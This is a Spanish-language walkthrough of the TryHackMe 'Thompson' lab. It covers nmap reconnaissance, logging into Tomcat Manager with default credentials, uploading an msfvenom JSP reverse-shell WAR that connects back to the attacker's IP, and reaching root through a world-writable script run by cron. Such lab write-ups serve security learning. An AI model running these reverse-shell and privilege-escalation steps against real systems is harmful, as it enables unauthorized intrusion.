TryHackMe - Thompson
Un desafío bastante bueno utilizando la carga de archivos de Tomcat y Metasploit
Introducción
Esta es una sala bastante buena para principiantes que necesitan practicar la carga de archivos en shells inversos y obtener acceso de esa manera. No fue necesario escalar privilegios, ya que el script disponible solo necesitaba un poco de ajuste.
En general, es un desafío bastante simple, pero bueno para los principiantes.
Nmap
Comencemos con el escaneo de nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
nmap -T4 -n -sC -sV -Pn -p- 10.10.83.60
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 fc:05:24:81:98:7e:b8:db:05:92:a6:e7:8e:b0:21:11 (RSA)
| 256 60:c8:40:ab:b0:09:84:3d:46:64:61:13:fa:bc:1f:be (ECDSA)
|_ 256 b5:52:7e:9c:01:9b:98:0c:73:59:20:35:ee:23:f1:a5 (ED25519)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open http Apache Tomcat 8.5.5
|_http-title: Apache Tomcat/8.5.5
|_http-favicon: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Así que tenemos 3 puertos abiertos
22/tcp
8009/tcp
8080/tcp
Reconocimiento
Visitemos el sitio web en http://10.10.83.60:8080/
Podemos ver una subpágina del administrador
Aparece el formulario web, pero una vez que hacemos clic en cancelar, nos redireccionan a esta página
Podemos ver algunas credenciales
1
2
username: tomcat
password: s3cret
Ahora probemos esas credenciales.
Y nosotros estamos registrados en el gerente
Acceso inicial
Podemos ver algunos cargadores de archivos disponibles que parecen aceptar solo archivos .war
Descarguemos el archivo de shell inverso de PHP en https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
Necesitamos actualizar nuestra IP y PUERTO y guardar el archivo como shell.php.war
ya que solo acepta archivos .war
1
2
$ip = '10.11.75.122'; // CHANGE THIS
$port = 1337; // CHANGE THIS
No podemos iniciar la aplicación de esta manera.
No podremos hacerlo de esta manera, intentemos crear un archivo .war
usando metasploit
1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.75.122 LPORT=1337 -f war > exploit.war
Ahora intentemos cargar el archivo
La carga está bien, ahora abramos el puerto de nuestro lado y visitemos nuestra página de exploits.
Bandera de usuario
Hemos recibido una conexión y podemos encontrar la bandera del usuario en /home/jack/user.txt
Bandera Root
Veamos qué archivos tenemos disponibles
1
2
3
4
5
cat id.sh
#!/bin/bash
id > test.txt
uid=0(root) gid=0(root) groups=0(root)
---
Parece que tenemos un enlace, así que echemos un vistazo a los cronjobs.
1
2
3
4
5
6
7
8
9
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root cd /home/jack && bash id.sh
1
2
3
4
5
6
7
8
9
ls -la
total 48
drwxr-xr-x 4 jack jack 4096 Aug 23 2019 .
drwxr-xr-x 3 root root 4096 Aug 14 2019 ..
-rw------- 1 root root 1476 Aug 14 2019 .bash_history
-rw-r--r-- 1 jack jack 220 Aug 14 2019 .bash_logout
-rw-r--r-- 1 jack jack 3771 Aug 14 2019 .bashrc
drwx------ 2 jack jack 4096 Aug 14 2019 .cache
-rwxrwxrwx 1 jack jack 26 Aug 14 2019 id.sh
Parece que podemos ejecutar id.sh
como root para poder simplemente cat
el contenido del archivo root.txt
en el archivo test.txt
1
echo "cat /root/root.txt > test.txt" > id.sh